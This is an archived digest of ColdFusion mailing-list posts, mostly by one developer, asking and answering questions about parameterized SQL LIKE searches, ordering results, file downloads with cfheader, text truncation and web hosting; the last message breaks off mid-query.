http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:344239
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Little help with a query please...

2011-05-04 Thread Les Mizzell

On 5/4/2011 8:15 PM, Greg Morphis wrote:

 the double quotes?
 like '%bob%' or '%ted%'

That's just in the outputted version.

I've rewritten it again though. Output is now:

WHERE section  'news'
AND ( headline LIKE '%barnett%'
OR content LIKE '%barnett%' OR headline LIKE '%shale%'
OR content LIKE '%shale%' )


SELECT
   id_page,
   headline,
   content,
   section
  FROM pages
  WHERE section  'news'
 cfif ListLen('#myLIST#') gt 1
  AND (
   cfloop list=#mylist# index=i
cfset #thisROW# = #thisROW# + 1 /
headline LIKE cfqueryparam value=%#i#% 
cfsqltype=cf_sql_varchar
 or content LIKE cfqueryparam value=%#i#% 
cfsqltype=cf_sql_varchar
 cfif #thisROW# LT #listCOUNT# OR /cfif
   /cfloop )
 cfelse
 AND ( headline LIKE cfqueryparam value=%#req.cleanerINPUT#% 
cfsqltype=cf_sql_varchar
 or content LIKE cfqueryparam value=%#req.cleanerINPUT#% 
cfsqltype=cf_sql_varchar )
/cfif

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:344242
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Little help with a query please...

2011-05-04 Thread Les Mizzell

On 5/4/2011 9:11 PM, Greg Morphis wrote:

 Take your query and wrap it in a cfoutput tag instead of cfquery.
 Remove the cfqueryparams and just have the variables.

That's this:

WHERE section  'news'
AND ( headline LIKE '%bob%'
or content LIKE '%bob%' OR headline LIKE '%robert%'
or content LIKE '%robert%' )


...or,when entering only one variable (and this is working)

WHERE section  'news'
AND ( headline LIKE '%bob%'
or content LIKE '%bob%' )




Query is:

  SELECT
   id_page,
   headline,
   content,
   section
  FROM pages
  WHERE section  'news'
 cfif ListLen('#myLIST#') gt 1
  AND (
   cfloop list=#mylist# index=i
cfset #thisROW# = #thisROW# + 1 /
headline LIKE cfqueryparam value=%#i#% 
cfsqltype=cf_sql_varchar
 or content LIKE cfqueryparam value=%#i#% 
cfsqltype=cf_sql_varchar
 cfif #thisROW# LT #listCOUNT# OR /cfif
   /cfloop )
 cfelse
 AND ( headline LIKE cfqueryparam value=%#req.cleanerINPUT#% 
cfsqltype=cf_sql_varchar
 or content LIKE cfqueryparam value=%#req.cleanerINPUT#% 
cfsqltype=cf_sql_varchar )
/cfif

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:344244
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Little help with a query please ... FIXED

2011-05-04 Thread Les Mizzell

This did the trick:


WHERE section  'news'
 cfif ListLen('#myLIST#') gt 1
  AND (
   cfloop list=#mylist# index=i
cfset #thisROW# = #thisROW# + 1 /
headline LIKE cfqueryparam value=%#i#% 
cfsqltype=cf_sql_varchar
 or content LIKE cfqueryparam value=%#i#% 
cfsqltype=cf_sql_varchar
 cfif #thisROW# LT #listCOUNT# OR /cfif
   /cfloop )
 cfelse
 AND ( headline LIKE cfqueryparam value=%#req.cleanerINPUT#% 
cfsqltype=cf_sql_varchar
 or content LIKE cfqueryparam value=%#req.cleanerINPUT#% 
cfsqltype=cf_sql_varchar )
/cfif

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:344245
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: OT question - is this real or phishing?

2011-04-20 Thread Les Mizzell

 It is fake...NO registrar works in this manner.

I got one of these too. I offered to sell them the domain in question 
for $25,000 US if they wanted it. Even offered to take four equal 
payments over the period of a year.

Needless to say, they didn't go for it!!!

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:343890
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Good CF Host in Texas

2011-04-14 Thread Les Mizzell

Client is requesting that hosting *has* to be in Texas. I've NO idea 
why. But - anybody familiar with good reliable, CF hosting in Texas with 
*helpful* 24/7 tech support?

Most of my stuff is either at hosting.com or CrystalTech, niether in Texas

TIA

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:343740
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Processing Empty Form Fields

2011-03-30 Thread Les Mizzell

 SET Name =cfqueryparam cfsqltype=cf_sql_varchar value=#form.name# /

Do the below. Will insert a null if the field is empty..

cfqueryparam
   value=#trim(myFormField)#
   cfsqltype=CF_SQL_VARCHAR
   null=#not len(myFormField)#


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:343439
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Hosting.com, Your Experiences

2011-03-06 Thread Les Mizzell

 Hosting.com is all over the search engines

When it was still HostMySite my experiences were very positive. I could 
call them with a problem at 2:30am, somebody would actually answer the 
phone, and that very person would usually fix my problem while I was 
online. Email support requests were usually answered/handled within an hour.

Now - not so much. I've had issues that went close to 24 hours before I 
even got a response on email. Phone support/live chat is still OK, but 
NOT what it was before the merger.

I've not moved any clients yet because I'd have to be sure I wasn't 
making a lateral move - but it's not as good as it was...

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:342792
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


What difference does the parenthesis make?

2010-10-18 Thread Les Mizzell

What's the difference between

1. --
SELECT nl_id
FROM vw_newsletters
WHERE
  (paID=cfqueryparam value=#law.paid# cfsqltype=cf_sql_integer /)
AND (nl_status = 'published' OR nl_status = 'archived')


2. --
SELECT nl_id
FROM vw_newsletters
WHERE
  paID=cfqueryparam value=#law.paid# cfsqltype=cf_sql_integer /
AND (nl_status = 'published' OR nl_status = 'archived')



#1 returns the correct records
#2 returns nothing

Not sure what difference the first set of parenthesis makes in #1

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338288
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: What difference does the parenthesis make?

2010-10-18 Thread Les Mizzell

On 10/18/2010 3:33 PM, Michael Grant wrote:

 In this case specifically the parenthesis should make no difference at all.
 Are you sure the two queries are exactly as you've shown them?

Yup.

Database is SQL Server

I can run the query with the paranths, and get the expected results.
Edit the same page to remove them, no results.

I can also substitute the variable #law.paid# with a known ID integer, 
and get the same results.

paID=cfqueryparam value=45 cfsqltype=cf_sql_integer /

Weird...

SELECT nl_id
  FROM vw_newsletters
  WHERE
(paID=cfqueryparam value=#law.paid# cfsqltype=cf_sql_integer /)
  AND (nl_status = 'published' OR nl_status = 'archived')

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338293
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


cfheader and pushing a file to the user

2010-10-18 Thread Les Mizzell

I've got a section of a site where a user can access a number of logo 
downloads, including tiff, jpeg, ai, or gif formats.

There are thumbs on the download page, with links on each thumb like:

a href=resource_download.cfm?logo=72-dpi-jpg target=_blank

This takes them to the resource_download processing page (located in the 
same directory as the files to be downloaded), which runs a query to 
record which logo they downloaded along with a date/time stamp.

What is supposed to happen next is that the selected file is pushed to 
them so they can save it. This is where I'm having problems.

So, after the query runs:

CFHEADER
NAME=content-disposition
value=attachment;
filename=#get.logo#

Looks correct so far...

But, let's say I selected a jpg. The dialog comes up (SAVE or OPEN), 
I select SAVE, and when I try to open the file in Photoshop I get an 
error Could not complete your request because a JPEG marker segment 
length is too short. The file may be truncated or incomplete.

If I just tell it to OPEN the file instead of saving - I get a blank doc.

If I grab the file FTP from the server, it seems to be fine and 
saves/opens properly.

What's wrong here? Suggestions?





~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338302
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: What difference does the parenthesis make?

2010-10-18 Thread Les Mizzell

On 10/18/2010 4:40 PM, Wil Genovese wrote:

 Have you tried this directly in the DB from SQL Manager?  If it still happens 
 then ColdFusion is not part of the issue.

Directly in the DB will pull the expected/correct data set either way. 
Looks like the server needs a reboot!

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338304
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: cfheader and pushing a file to the user

2010-10-18 Thread Les Mizzell

On 10/18/2010 7:53 PM, Michael Grant wrote:

 cfheader name=Content-Disposition value=attachment;
 filename=#YourFile.FileName#
 cfcontent type=image/jpg file=#YourDirectory#\#YourFile.FileName#

I had that actually - not using the type though as there's a number of 
different file types available.

Turns out it was related to the server issue that was causing a query 
weirdness I was asking about earlier where the two below statements were 
giving different results...

WHERE
   (paID=cfqueryparam value=#law.paid# cfsqltype=cf_sql_integer /)
AND (nl_status = 'published' OR nl_status = 'archive

WHERE
   paID=cfqueryparam value=#law.paid# cfsqltype=cf_sql_integer /
AND (nl_status = 'published' OR nl_status = 'archive


Restarted the server - all is good.

Hmmm...

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338319
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Microsoft rumored to be buying Adobe

2010-10-07 Thread Les Mizzell

Nope:
http://www.bloomberg.com/news/2010-10-07/reback-says-adobe-purchase-by-microsoft-unlikely-video.html

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:337966
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Shorter URLs - How?

2010-09-21 Thread Les Mizzell

 I just think that there are cases where it makes sense to
 do URL rewriting in CF.

Getting off topic, how does this affect SEO? What does googlebot or 
another search engine bot see when it's done this way?

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:337284
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: cascaded dropdown

2010-08-01 Thread Les Mizzell

Ria Ragam wrote:
 Hi,
 
 I am trying to build dropdown in a dropdown selection. 

Try:
http://tutorial196.easycfm.com/

or (a little more with the times):
http://www.coldfusionjedi.com/index.cfm/2008/9/14/Triple-Related-Selects-and-interesting-CFDIV-trick


some AJAX here:
http://www.forta.com/blog/index.cfm/2007/5/31/ColdFusion-Ajax-Tutorial-2-Related-Selects


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5331 (20100801) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:335919
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Output newest one item from each category

2010-07-31 Thread Les Mizzell

Scott Brady wrote:
 There's probably a way to do it just in the query (using subqueries
 perhaps), but here's one option:


It's not that easy!



  Change your query to this:
  Select catg, nltitle, nldate
  from newsletters
  order by catg, nldate DESC
 
  Then, for your output:
  cfoutput query=yourQuery group=catg
  #yourQuery.nldate#   #yourQuery.catg#   #yourQuery.nltitle#br /
  /cfoutput


Your query returns the below (I've removed the grouping)
nldate  catgnltitle
  

  6/23/2010   bob another bob found!
  6/23/2010   carsnew nissan models
  6/28/2010   grants  something title
  6/28/2010   grants  another title
  6/25/2010   grants  more grant stuff
  6/27/2010   newsyes a title
  6/27/2010   newsgood news today
  6/23/2010   newstom just died
  6/24/2010   toysnew hotwheels



Adding grouping give us:

  6/23/2010   bob another bob found!
  6/23/2010   carsnew nissan models
  6/28/2010   grants  something title
  6/27/2010   newsyes a title
  6/24/2010   toysnew hotwheels

The order is now wrong - needs to be date newest to oldest. When you 
sort by catg, nldate - the categories are date sorted, but not the full 
list. What I need is:

  6/28/2010   grants  something title
  6/27/2010   newsyes a title
  6/24/2010   toysnew hotwheels
  6/23/2010   bob another bob found!
  6/23/2010   carsnew nissan models


See the problem?


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5328 (20100731) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:335907
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Output newest one item from each category

2010-07-31 Thread Les Mizzell

Kris Jones wrote:
 Take a look at the CROSS APPLY operator in T-SQL.

I don't have direct access to the database itself, so will need to do 
this in Coldfusion. Can't use Cross Apply there, right?

This has got me totally befuddled at this point, to be honest...

Gotta be some goof ball query of queries to pull this off, but I've 
spent almost two days on it now and nothing is working for me yet...


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5329 (20100731) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:335916
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Output newest one item from each category

2010-07-31 Thread Les Mizzell

OK, the below *mostly* gives me the correct output in the correct order:


cfquery name=getIDLIST
  SELECT max(id) as id,  nl_hed
  FROM nl_master
  WHERE nl_status='pub'
  group by nl_hed
  order by nl_hed, id
/cfquery

cfset myLIST = #valuelist(getIDLIST.id)# /

cfquery name=get_newsletters
  SELECT top 5 nl_hed, nl_date, nl_id, nl_title, goodURL
  FROM nl_master
  WHERE nl_status='pub'
  AND id in (cfqueryparam value=#myLIST#
  cfsqltype=CF_SQL_VARCHAR list=yes)
ORDER by nl_date DESC
/cfquery


But, that's sorta ugly and uses two queries. Any way to consolidate this 
down?

There's a few cases where the max(id) might *not* be the newsletter with 
the highest date, but this probably won't crop up often enough to be 
noticed. So, it's a kludge that works, but still not the *real* solution.

Ideally, I need to be able to find a way to:
Select distinct(nl_hed)
Plus select nl_date, nl_id, nl_title, goodURL
Order by nl_date DESC


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5329 (20100731) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:335917
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Output newest one item from each category

2010-07-30 Thread Les Mizzell

I'm trying to output a list of the most recent newsletters sorted by 
DATE. There are a number of categories that they fall under, and I must 
show only the newest 1 from each category..


Select catg, nltitle, nldate
from newsletters
order by date

Might return this:
nldate  catgnltitle

6/28/2010   grants  something title
6/28/2010   grants  another title   
6/27/2010   newsyes a title
6/27/2010   newsgood news today
6/25/2010   grants  more grant stuff
6/24/2010   toysnew hotwheels
6/23/2010   carsnew nissan models
6/23/2010   bob another bob found!
6/23/2010   newstom just died

What I need to output is just:

nldate  catgnltitle

6/28/2010   grants  something title
6/27/2010   newsyes a title
6/24/2010   toysnew hotwheels
6/23/2010   bob another bob found!
6/23/2010   carsnew nissan models


group by catg won't work in the output, for obvious reasons. I've not 
been able to exactly get a query of queries to work either.

Can someone point me in the correct direction here please?


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5326 (20100730) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:335898
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Extract an URL Variable name?

2010-07-08 Thread Les Mizzell

If I'm passing an URL Variable - with the variable name itself being 
dynamic, what's the best was to extract the variable name (not the 
value) on the receiving page?

As in:
for: index.cfm?somevar=somevalue
I need to return somevar on the receiving page as a value.

or for: index.cfm?bigdog=bruto
I need to return bigdog on the receiving page as a value.

The receiving page won't know what the variable is in advance...

Did that make any sense at all?


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5263 (20100708) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:335204
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Order By question

2010-06-30 Thread Les Mizzell

Not 100% sure how to do this...

Need to return a list of folks ordered by last_name (no problem), EXCEPT 
for 2 of them. They need to be LAST regardless of their last names 
(problem)...

Perhaps something with their 2 ID numbers?

Ideas?


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5241 (20100630) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334972
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Order By question

2010-06-30 Thread Les Mizzell

Works the charm:

SELECT * FROM judges
ORDER BY CASE WHEN judge_id IN (2589,7555) THEN 1 ELSE 0 END,
judge_lname


Thanks folks...


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5241 (20100630) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334998
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Order By question

2010-06-30 Thread Les Mizzell

b...@bradwood.com wrote:
 Paul, now's a good time to start a select * rant.  :)


No - I SPECIFY which fields I want and cfueryparam the hell out of 
everything too.

I just put  select *  here for brevity. The below is NOT the live query!


 SELECT * FROM judges
 ORDER BY CASE WHEN judge_id IN (2589,7555) THEN 1 ELSE 0 END,
 judge_lname


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5241 (20100630) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:335000
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: HTML 5, has anyone done anything more than played with it

2010-06-01 Thread Les Mizzell

 It won't even be mainstream then. There's still an awful lot of people out 
 there running XP

XP isn't broke. I've seen no reason to fix it myself so far. Guess I'm 
one of those awful lot of people. If MS had given me an upgrade path 
from XP instead of a delete everything start from scratch install all 
your crap from the beginning path, I might have made the move to Win 7 
already. But, I can't afford the down time to upgrade. Maybe dual boot 
at some point so I can keep running and slowly over everything over. 
Later. Sometime.


 remember that at least 15% of web traffic (a hair over by my stats actually) 
 is still on IE6.

My main client is an office building full of attorneys using IE6. They 
don't care if it works in anything else AT ALL, but it damn well better 
work in IE 6!! Drives me crazy.


 that assumes that Firefox/Chrome/Opera haven't gotten to half market 
 share by that point, which they may at the rate they're growing. 

Please great and powerful Cthulhu grant us a standards complaint browser 
that maketh the entire IE line vanish from this plain of existance.


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5164 (20100601) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334217
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Variable Amount of text in a Fixed Size Box

2010-05-31 Thread Les Mizzell

Right - don't do this. Can only end in tears...

OK, designer has come up with a fixed size box on the index page of a 
site that will hold X amount of stuff from a feature story on another 
page of the site. Like:

yadda yadda yadda yadda yadda yadda yadda yadda yadda yadda yadda yadda 
yadda yadda yadda yadda  ... [click for more]

left(whatever...) won't work as the text can't end in the middle of a 
word. So, I've got a truncate function (thanks Matthew Walker) to take 
care of that.

But, this STILL won't actually work because 45 really long words 
obviously take up more space than 45 short words. Might take 40 words 
sometimes. Maybe 50 others...

I'm like - this is going to have to be monked with a little every time a 
new feature article is entered in the admin, because you can't tell 
exactly how much space it's going to take up.

Designer is like - client isn't going to monk with it. It just has to 
work and fill EXACTLY the amount of space I've given you regardless.

I can't figure out a way to get this to actually work. Change the layout 
to make the darned box expand height wise to accommodate!! Ain't gonna 
happen though.

Anybody know of any way at all to get this to work? Some stupid way to 
count long words verses shorts words and come out with an average with 
would sorta be right every time?


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5159 (20100531) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334152
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Variable Amount of text in a Fixed Size Box

2010-05-31 Thread Les Mizzell

Sean Corfield wrote:
 If you know how many characters will fit in the box (which may be font
 dependent?), then start there and work back to the next space and
 truncate there. That way you'll always have complete words and the
 number of words will vary depending on the total number of characters.

That's the problem. I can make a best guess as to the number of 
characters, but it's font dependent, so no exact number is ever going to 
work.

The graphic designers I work with need to get out of their print mode 
when doing layouts!!! ... and they get the darned designs approved by 
the client *before* sending to me and going see any issues here.


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5159 (20100531) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334154
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Variable Amount of text in a Fixed Size Box

2010-05-31 Thread Les Mizzell

 Client configured fonts are a PAIN in these situations. Plus you have to
 account for HTML in your count.

First thing I do to the text is strip all HTML!! The client cuts/pastes 
from Word like CRAZY, and we all know what that crap looks like ... I 
clean it on the way into the database to start with, then strip all the 
HTML on output for this particular box...


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5160 (20100531) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:334166
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Little Help with a Site Search Query

2010-05-22 Thread Les Mizzell

Working on setting up a site search - (SQL Server).

Query below won't work as feature_text is a TEXT field
mylst will ALWAYS be a comma delimited list (cleaned of all unwanted 
crap and common words)


cfquery name=features   
SELECT
  id_feature,
  feature_headline,
  feature_date,
  year(feature_date) as theYEAR,
  feature_text
FROM feature
WHERE feature_headline in
  cfqueryparam value=#mylst# cfsqltype=CF_SQL_VARCHAR list=yes /
 cfloop list=#mylst# index=i
   OR feature_text like
  cfqueryparam value=%#i#% cfsqltype=CF_SQL_VARCHAR /
 /cfloop
 ORDER BY feature_date desc
/cfquery

So, I can use CAST() to fix this and convert feature_text to varCHAR?

Something like:

cfquery name=features   
SELECT
  id_feature,
  feature_headline,
  feature_date,
  year(feature_date) as theYEAR,
  CAST (feature_text AS VARCHAR )
FROM feature
WHERE feature_headline in
  cfqueryparam value=#mylst# cfsqltype=CF_SQL_VARCHAR list=yes /
 cfloop list=#mylst# index=i
   OR CAST(feature_text as VARCHAR) like
 cfqueryparam value=%#i#% cfsqltype=CF_SQL_VARCHAR /
 /cfloop
 ORDER BY feature_date desc
/cfquery

But this gives me an odd Incorrect syntax near '@P1'.   error

Advise?


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5138 (20100522) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:333914
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Little Help with a Site Search Query

2010-05-22 Thread Les Mizzell

Hmmm - this will return NO results, though I know the terms I'm looking 
for exists:

WHERE CAST(feature_text as VARCHAR)
  like
cfqueryparam value=%#form.searchTERM#% cfsqltype=CF_SQL_VARCHAR /


 cfquery name=features 
 SELECT
   id_feature,
   feature_headline,
   feature_date,
   year(feature_date) as theYEAR,
   CAST (feature_text AS VARCHAR )
 FROM feature
 WHERE feature_headline in
   cfqueryparam value=#mylst# cfsqltype=CF_SQL_VARCHAR list=yes /
